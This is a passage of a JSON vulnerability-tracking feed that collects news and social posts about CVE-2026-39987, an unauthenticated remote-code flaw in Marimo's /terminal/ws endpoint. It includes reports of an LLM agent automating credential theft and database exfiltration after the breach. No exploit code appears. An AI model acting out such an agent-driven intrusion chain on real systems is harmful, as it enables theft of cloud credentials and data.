"CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mn4jisrb4f2i", "content": "Top 3 CVE for last 7 days:\nCVE-2026-48095: 19 interactions\nCVE-2026-0257: 17 interactions\nCVE-2026-26980: 16 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-0257: 14 interactions\nCVE-2026-21852: 3 interactions\nCVE-2026-39987: 3 interactions\n", "creation_timestamp": "2026-05-31T02:30:48.180899Z"}, {"uuid": "6c0643b6-7349-49c2-9ab7-f01c89bd9002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mn4msnddw72h", "content": "Unknown threat actor used a large language model (LLM) to conduct post-compromise actions after exploiting a public Marimo network (CVE-2026-39987). Stay alert for AI-driven attacks.", "creation_timestamp": "2026-05-31T03:29:59.263644Z"}, {"uuid": "df01ccd4-48d1-4863-9d63-957b8a1dc9f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://infosec.exchange/users/tomcat/statuses/116668135516466708", "content": "\u26a0\ufe0f Attackers used an LLM agent for post-exploitation after breaching a public Marimo notebook via CVE-2026-39987, a pre-auth RCE flaw affecting versions \u22640.20.4.\nThe intrusion stole cloud credentials, retrieved an SSH key from AWS Secrets Manager, and exfiltrated a PostgreSQL database via eight SSH sessions in under two minutes.\nFull report: https://thehackernews.com/2026/05/attackers-use-llm-agent-for-post.html", "creation_timestamp": "2026-05-31T08:01:12.803701Z"}, {"uuid": "7ad8657d-baa2-4b40-800c-a176add0188a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/mwyr.es/post/3mn6zrgdceq2x", "content": "Attackers Use LLM Agent For Post-Exploitation After Marimo CVE-2026-39987 Exploit - https://mwyr.es/pUqIWw5L #thn #infosec", "creation_timestamp": "2026-06-01T02:27:16.202643Z"}, {"uuid": "668714f0-0108-465e-9553-ac356ed8969d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/reconbee.bsky.social/post/3mn7i63i47k2k", "content": "Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit reconbee.com/attackers-us...\n\n#LLM #Marimo #largelanguagemodels #llmagent #cybersecurity", "creation_timestamp": "2026-06-01T06:44:56.421678Z"}, {"uuid": "123ab30d-4cfa-4f47-9478-21f11cd05aeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "Telegram/J8DlVyKG2Ha8_8-DPAHAkyXqdyfexf_y2s10iFJfB3MNT4g", "content": "", "creation_timestamp": "2026-05-30T15:00:07.000000Z"}, {"uuid": "2017e6bb-5e48-46df-a022-27c2b71bc4a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "Telegram/Kk-m2_khIa60Wvwo8g3pOLHS6GDv7-l9qnmCdN4oCRRdTA", "content": "", "creation_timestamp": "2026-05-29T21:24:58.000000Z"}, {"uuid": "0bffe034-6838-414e-a968-71977667c88b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mnhzfo6tsr2e", "content": "\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u578b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c\u30aa\u30fc\u30b1\u30b9\u30c8\u30ec\u30fc\u30b7\u30e7\u30f3\u5c64\u306b\u5230\u9054\uff1aAI\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u4e3b\u5c0e\u306e\u30b3\u30f3\u30c6\u30ca\u30a8\u30b9\u30b1\u30fc\u30d7\n\n\u8105\u5a01\u30ea\u30b5\u30fc\u30c1 \u30c7\u30a3\u30ec\u30af\u30bf\u30fc2026\u5e745\u670829\u65e5\u3001Sysdig\u8105\u5a01\u30ea\u30b5\u30fc\u30c1\u30c1\u30fc\u30e0\uff08TRT\uff09\u306f\u3001\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c\u8106\u5f31\u306amarimo\u30ce\u30fc\u30c8\u30d6\u30c3\u30af\uff08CVE-2026-39987\uff09\u3092\u60aa\u7528\u3057\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u5c64\u3092\u8d85\u3048\u3066\u5c55\u958b\u3059\u308b\u5b8c\u5168\u81ea\u52d5\u5316\u3055\u308c\u305f\u30ad\u30eb\u30c1\u30a7\u30fc\u30f3\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u306e\u3092\u89b3\u6e2c\u3057\u307e\u3057\u305f\u3002\u653b\u6483\u306e\u5404\u6bb5\u968e\u306b\u306f\u3001\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u578b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\uff08A...", "creation_timestamp": "2026-06-04T16:14:39.064408Z"}, {"uuid": "824889c9-10fa-49ed-bff2-0b92fd7c2071", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/mel-echosphere.bsky.social/post/3mnqz4prndu2x", "content": "\u5165\u53e3\u306f\u9b54\u6cd5\u3058\u3083\u306a\u3044\u3002CVE-2026-39987\u3001`/terminal/ws` \u306e\u8a8d\u8a3c\u629c\u3051\u3002marimo\u516c\u5f0f\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3082\u30010.23.0\u3067\u4fee\u6b63\u6e08\u307f\u3068\u66f8\u3044\u3066\u308b\u3002\nhttps://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc\n\n\u7a74\u306e\u672c\u4f53\u306f\u300cAI\u304c\u5168\u90e8\u58ca\u3057\u305f\u300d\u3058\u3083\u306d\u3047\u3002\u5165\u3089\u308c\u305f\u5f8c\u306e\u6a2a\u79fb\u52d5\u304c\u5b89\u304f\u306a\u3063\u305f\u3053\u3068\u3060\u3002", "creation_timestamp": "2026-06-08T06:03:36.227462Z"}, {"uuid": "9b44c696-c47c-4704-8c34-7aaacca63883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3mo25bvjog62m", "content": "Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit thehackernews.com/2026/05/atta...", "creation_timestamp": "2026-06-11T21:12:07.020519Z"}, {"uuid": "5c969a50-bbd2-4fcf-91e4-19e1771cdbb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/robsongfreire.bsky.social/post/3mod6dmp6ss2o", "content": "E n\u00e3o em uma armadilha digital. O agente de IA explorou a vulnerabilidade CVE-2026-39987 em um notebook Marimo para obter acesso inicial. A partir da\u00ed, extraiu credenciais da Amazon Web Services, localizou e usou uma chave privada de acesso remoto e lan\u00e7ou oito sess\u00f5es paralelas contra o banco 2/6\ud83d\udc47", "creation_timestamp": "2026-06-15T11:24:53.343602Z"}, {"uuid": "a656fde0-11e6-493f-8c72-0365c8e20b3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/robsongfreire.bsky.social/post/3mod6dmplj22o", "content": "E n\u00e3o em uma armadilha digital. O agente de IA explorou a vulnerabilidade CVE-2026-39987 em um notebook Marimo para obter acesso inicial. A partir da\u00ed, extraiu credenciais da Amazon Web Services, localizou e usou uma chave privada de acesso remoto e lan\u00e7ou oito sess\u00f5es paralelas contra o banco 2/6\ud83d\udc47", "creation_timestamp": "2026-06-15T11:24:54.067890Z"}, {"uuid": "ad2a6ea1-6d8e-49a0-b1ee-88691b0e2e86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/robsongfreire.bsky.social/post/3mod6dmpnhk2o", "content": "E n\u00e3o em uma armadilha digital. O agente de IA explorou a vulnerabilidade CVE-2026-39987 em um notebook Marimo para obter acesso inicial. A partir da\u00ed, extraiu credenciais da Amazon Web Services, localizou e usou uma chave privada de acesso remoto e lan\u00e7ou oito sess\u00f5es paralelas contra o banco 2/6\ud83d\udc47", "creation_timestamp": "2026-06-15T11:24:56.568514Z"}, {"uuid": "6305930c-af6d-4540-883e-b39d3f81232a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/robsongfreire.bsky.social/post/3mod6dmpogs2o", "content": "E n\u00e3o em uma armadilha digital. O agente de IA explorou a vulnerabilidade CVE-2026-39987 em um notebook Marimo para obter acesso inicial. A partir da\u00ed, extraiu credenciais da Amazon Web Services, localizou e usou uma chave privada de acesso remoto e lan\u00e7ou oito sess\u00f5es paralelas contra o banco 2/6\ud83d\udc47", "creation_timestamp": "2026-06-15T11:24:57.156557Z"}, {"uuid": "377a4e18-1f1e-40d8-b495-6abca8b0b464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/robsongfreire.bsky.social/post/3mod6dmppg22o", "content": "E n\u00e3o em uma armadilha digital. O agente de IA explorou a vulnerabilidade CVE-2026-39987 em um notebook Marimo para obter acesso inicial. A partir da\u00ed, extraiu credenciais da Amazon Web Services, localizou e usou uma chave privada de acesso remoto e lan\u00e7ou oito sess\u00f5es paralelas contra o banco 2/6\ud83d\udc47", "creation_timestamp": "2026-06-15T11:24:57.686380Z"}, {"uuid": "ca8e3e4e-c578-4c86-8405-ac7c98893a61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/robsongfreire.bsky.social/post/3mod6dmprek2o", "content": "E n\u00e3o em uma armadilha digital. O agente de IA explorou a vulnerabilidade CVE-2026-39987 em um notebook Marimo para obter acesso inicial. A partir da\u00ed, extraiu credenciais da Amazon Web Services, localizou e usou uma chave privada de acesso remoto e lan\u00e7ou oito sess\u00f5es paralelas contra o banco 2/6\ud83d\udc47", "creation_timestamp": "2026-06-15T11:24:58.214687Z"}, {"uuid": "832ed5fe-97bd-4562-a190-004597a0818a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3moeqyf377y2r", "content": "Top 3 CVE for last 7 days:\nCVE-2026-35273: 57 interactions\nCVE-2026-11645: 30 interactions\nCVE-2025-10263: 25 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-39987: 18 interactions\nCVE-2026-0257: 7 interactions\nCVE-2026-12221: 6 interactions\n", "creation_timestamp": "2026-06-16T02:31:16.680831Z"}, {"uuid": "b07422a5-6959-4e6b-b3fe-c998babbc18b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "MISP/d511a704-eba2-411a-9543-41e0e130f522", "content": "", "creation_timestamp": "2026-06-15T17:02:31.000000Z"}, {"uuid": "040b7757-9c90-4e25-b8d9-7e324271b4ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mojrwgzt3f2d", "content": "Top 3 CVE for last 7 days:\nCVE-2026-35273: 64 interactions\nCVE-2026-54420: 26 interactions\nCVE-2026-39987: 20 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-9697: 16 interactions\nCVE-2026-50656: 13 interactions\nCVE-2026-42824: 11 interactions\n", "creation_timestamp": "2026-06-18T02:31:23.422090Z"}, {"uuid": "31a48689-35bf-49d4-bf2f-ed5c22023069", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6071b494-1bc1-4f4b-9970-f8301d6086e7", "content": "", "creation_timestamp": "2026-06-19T12:45:12.912113Z"}, {"uuid": "d7fe7a09-1239-4816-9bb0-5eb4772e941a", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/411209ae-3423-40c6-9af7-4d45b2c1e371", "content": "", "creation_timestamp": "2026-06-23T14:03:39.201522Z"}, {"uuid": "138f4a71-b8e7-4323-9ab0-ff749fd7ff47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "https://t.me/bhhub/1196", "content": "Weekly 8 AI & Cyber signals to act on (May 29\u2013 June 5)\n\n#AISecurity@bhhub \n\n\u2728AI Agents Enable Adaptive Computer Worms \u2014 University of Toronto / Vector Institute\nURL\nCleverHans Lab published a proof-of-concept worm powered by a locally-run open-weight LLM that adaptively chose its own attack strategy per target and breached 73% of a 33-node simulated corporate network in one week with zero human involvement \u2014 and ran entirely on stolen compute, making the attacker's marginal cost per infection zero.\n\n\u2728 First Confirmed Real-World LLM-Agent Intrusion \u2014 Sysdig TRT (via Marimo CVE-2026-39987)\nURL\nSysdig's threat research team documented the first publicly confirmed intrusion where an LLM agent drove the entire post-exploitation chain autonomously \u2014 CVE-2026-39987 (Marimo notebook RCE) to internal PostgreSQL database dump across 4 network pivots in under one hour, with the bastion phase taking under 2 minutes.\n\n\u2728 Bleeding Llama \u2014 CVE-2026-7482: Unauthenticated Heap Memory Leak in Ollama Exposes 300,000 Servers\nURL\nA heap out-of-bounds read in Ollama's GGUF model loader (CVSS 9.1) lets any unauthenticated attacker drain the entire Ollama process heap \u2014 system prompts, user chat fragments, env vars containing API keys, and PII \u2014 in three API calls that leave no error in logs, affecting an estimated 300,000 internet-exposed servers.\n\n#AppSec@bhhub \n\n\u2728 Microsoft Build 2026 \u2014 AI Code, Agent, and Model Security Tooling for Developers\nURL\nMicrosoft announced a suite of shift-left AppSec capabilities at Build 2026 including native Defender Portal \u2192 GitHub Code Security integration that routes MDASH vulnerability findings into developer PR workflows with production-risk context (internet exposure, data sensitivity), plus new pre-deployment tooling to detect potentially compromised or vulnerable AI models before they ship.\n\n\u2728 Anthropic Expands Project Glasswing to 150 Organizations in 15+ Countries\nURL\nAnthropic scaled its Claude Mythos vulnerability-hunting program to ~150 new organizations across critical infrastructure sectors in 15+ countries \u2014 cohort-one partners found 10,000+ high/critical vulns; the subsequent month's expanded cohort found 23,000 more, >25% rated high or critical, surfacing a new bottleneck: patch bandwidth, not discovery.\n\n#RedTeam@bhhub \n\n\u2728 OWASP AI & Agentic Red Teaming Landscape Q2 2026 + Agentic Research Council Launch\nURL\nOWASP released the first standardized landscape of AI and agentic red teaming tools and simultaneously launched the Agentic Research Council \u2014 a standing coordinated-research body \u2014 to close the gap between fast-moving agentic capabilities and security research, identifying that standard pentesting cycles cannot keep pace with environments where the test surface changes between runs.\n\n#BlueTeam@bhhub\n\n\u2728 Microsoft MDASH Exits Preview: 96.55% on CyberGym, 100+ Specialized AI Agents\nURL\nMicrosoft's multi-agent agentic security scanner (MDASH) exited preview at Build 2026 scoring 96.55% on UC Berkeley's CyberGym benchmark \u2014 up ~10 points in under three weeks \u2014 finding 21 of 21 planted vulnerabilities with zero false positives across confirmed MSRC cases, using 100+ specialized auditor, debater, and prover agents.\n\n\u2728 Anthropic Claude Compliance API \u2014 28 Enterprise Security Integrations Route AI Activity Into SIEM, DLP, and SOC\nURL\nAnthropic launched a Claude Compliance API giving enterprise security teams programmatic access to Claude conversation content and activity event logs, with 28 integrations already live across SIEM, DLP, SASE, identity, eDiscovery, and AI-SPSM platforms \u2014 including CrowdStrike Falcon, Palo Alto Networks, Microsoft Purview, Splunk, Wiz, Zscaler, and Varonis.", "creation_timestamp": "2026-07-12T06:00:05.785436Z"}, {"uuid": "686268e3-7ecf-47c6-9ee0-406cccb7a921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "https://t.me/bhhub/1196", "content": "Weekly 8 AI & Cyber signals to act on (May 29\u2013 June 5)\n\n#AISecurity@bhhub \n\n\u2728AI Agents Enable Adaptive Computer Worms \u2014 University of Toronto / Vector Institute\nURL\nCleverHans Lab published a proof-of-concept worm powered by a locally-run open-weight LLM that adaptively chose its own attack strategy per target and breached 73% of a 33-node simulated corporate network in one week with zero human involvement \u2014 and ran entirely on stolen compute, making the attacker's marginal cost per infection zero.\n\n\u2728 First Confirmed Real-World LLM-Agent Intrusion \u2014 Sysdig TRT (via Marimo CVE-2026-39987)\nURL\nSysdig's threat research team documented the first publicly confirmed intrusion where an LLM agent drove the entire post-exploitation chain autonomously \u2014 CVE-2026-39987 (Marimo notebook RCE) to internal PostgreSQL database dump across 4 network pivots in under one hour, with the bastion phase taking under 2 minutes.\n\n\u2728 Bleeding Llama \u2014 CVE-2026-7482: Unauthenticated Heap Memory Leak in Ollama Exposes 300,000 Servers\nURL\nA heap out-of-bounds read in Ollama's GGUF model loader (CVSS 9.1) lets any unauthenticated attacker drain the entire Ollama process heap \u2014 system prompts, user chat fragments, env vars containing API keys, and PII \u2014 in three API calls that leave no error in logs, affecting an estimated 300,000 internet-exposed servers.\n\n#AppSec@bhhub \n\n\u2728 Microsoft Build 2026 \u2014 AI Code, Agent, and Model Security Tooling for Developers\nURL\nMicrosoft announced a suite of shift-left AppSec capabilities at Build 2026 including native Defender Portal \u2192 GitHub Code Security integration that routes MDASH vulnerability findings into developer PR workflows with production-risk context (internet exposure, data sensitivity), plus new pre-deployment tooling to detect potentially compromised or vulnerable AI models before they ship.\n\n\u2728 Anthropic Expands Project Glasswing to 150 Organizations in 15+ Countries\nURL\nAnthropic scaled its Claude Mythos vulnerability-hunting program to ~150 new organizations across critical infrastructure sectors in 15+ countries \u2014 cohort-one partners found 10,000+ high/critical vulns; the subsequent month's expanded cohort found 23,000 more, >25% rated high or critical, surfacing a new bottleneck: patch bandwidth, not discovery.\n\n#RedTeam@bhhub \n\n\u2728 OWASP AI & Agentic Red Teaming Landscape Q2 2026 + Agentic Research Council Launch\nURL\nOWASP released the first standardized landscape of AI and agentic red teaming tools and simultaneously launched the Agentic Research Council \u2014 a standing coordinated-research body \u2014 to close the gap between fast-moving agentic capabilities and security research, identifying that standard pentesting cycles cannot keep pace with environments where the test surface changes between runs.\n\n#BlueTeam@bhhub\n\n\u2728 Microsoft MDASH Exits Preview: 96.55% on CyberGym, 100+ Specialized AI Agents\nURL\nMicrosoft's multi-agent agentic security scanner (MDASH) exited preview at Build 2026 scoring 96.55% on UC Berkeley's CyberGym benchmark \u2014 up ~10 points in under three weeks \u2014 finding 21 of 21 planted vulnerabilities with zero false positives across confirmed MSRC cases, using 100+ specialized auditor, debater, and prover agents.\n\n\u2728 Anthropic Claude Compliance API \u2014 28 Enterprise Security Integrations Route AI Activity Into SIEM, DLP, and SOC\nURL\nAnthropic launched a Claude Compliance API giving enterprise security teams programmatic access to Claude conversation content and activity event logs, with 28 integrations already live across SIEM, DLP, SASE, identity, eDiscovery, and AI-SPSM platforms \u2014 including CrowdStrike Falcon, Palo Alto Networks, Microsoft Purview, Splunk, Wiz, Zscaler, and Varonis.", "creation_timestamp": "2026-07-13T00:00:51.134959Z"}, {"uuid": "6b2a9dd5-855e-48fe-a95d-19e52aecafba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/21893", "content": "Attackers Use LLM Agent for Post-Exploitation After Marimo CVE-2026-39987 Exploit \u2013 thehackernews.com\n\nFri, 29 May 2026 22:39:56", "creation_timestamp": "2026-07-19T16:00:04.874636Z"}, {"uuid": "356e7e17-f10f-4e3f-bea9-8473d4651523", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/20787", "content": "Marimo RCE Flaw CVE-2026-39987 Exploited Within 10 Hours of Disclosure \u2013 thehackernews.com\n\nFri, 10 Apr 2026 15:37:00", "creation_timestamp": "2026-07-19T16:00:06.057570Z"}, {"uuid": "a1659e15-d08d-4325-a59f-dbf0bd8d37a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/20960", "content": "Weaponized CVE-2026-39987 Pushes Blockchain Backdoor Through Hugging Face \u2013 gbhackers.com\n\nFri, 17 Apr 2026 16:10:46", "creation_timestamp": "2026-07-19T16:00:05.512157Z"}, {"uuid": "2047b933-589d-4266-a007-cfa31bddd16d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://t.me/critical_bug/1722", "content": "\ud83d\udc31 hacker voice I CAN HAZ /terminal/ws?\n\n\ud83d\udd25 CVE-2026-39987: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f Pre-Auth RCE \u0432 Marimo\n\nCVSS: 9.8 Critical | \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u043c\u0435\u043d\u044c\u0448\u0435 \u0447\u0435\u043c \u0447\u0435\u0440\u0435\u0437 10 \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 disclosure\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430: endpoint /terminal/ws \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u043b WebSocket-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0431\u0435\u0437 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041e\u0434\u0438\u043d \u043a\u043e\u043d\u043d\u0435\u043a\u0442 \u2014 \u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 shell \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434.\n\n\ud83d\udea8 \u0427\u0435\u043c \u044d\u0442\u043e \u043e\u043f\u0430\u0441\u043d\u043e?\n\u0417\u0430\u0431\u0440\u0430\u0442\u044c .env, \u0442\u043e\u043a\u0435\u043d\u044b, SSH-\u043a\u043b\u044e\u0447\u0438 \u0438 \u0434\u0430\u043b\u044c\u0448\u0435 \u043f\u043e\u0439\u0442\u0438 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. \u0414\u043b\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432 \u044d\u0442\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u044f patch now.\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441?\n1) \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Marimo \u0434\u043e 0.23.0+\n2) \u0423\u0431\u0440\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0430\u043d\u0441 \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430\n3) \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a /terminal/ws\n4) \u0421\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u044b, \u0435\u0441\u043b\u0438 \u0445\u043e\u0441\u0442 \u0431\u044b\u043b \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0441\u043d\u0430\u0440\u0443\u0436\u0438\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e \u0411\u043e\u043b\u044c\u0448\u0435 \u044d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0445 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u0432 \u0438 0-day \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445: https://vip.eh.su\n\n#Marimo #CVE #RCE #ZeroDay #Python #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-19T16:00:10.387436Z"}, {"uuid": "e0a7ab82-2d49-46f9-8ba5-afedc4876291", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://t.me/critical_bug/1723", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 CVE-2026-39987 \u0432 PDF", "creation_timestamp": "2026-07-19T16:00:10.426687Z"}, {"uuid": "8337cb48-39a6-4454-a9b6-352a1d1067d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1723", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 CVE-2026-39987 \u0432 PDF", "creation_timestamp": "2026-07-20T00:00:07.130733Z"}, {"uuid": "cfee7e27-45c3-40ad-a9a1-c07718abfae2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1722", "content": "\ud83d\udc31 hacker voice I CAN HAZ /terminal/ws?\n\n\ud83d\udd25 CVE-2026-39987: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f Pre-Auth RCE \u0432 Marimo\n\nCVSS: 9.8 Critical | 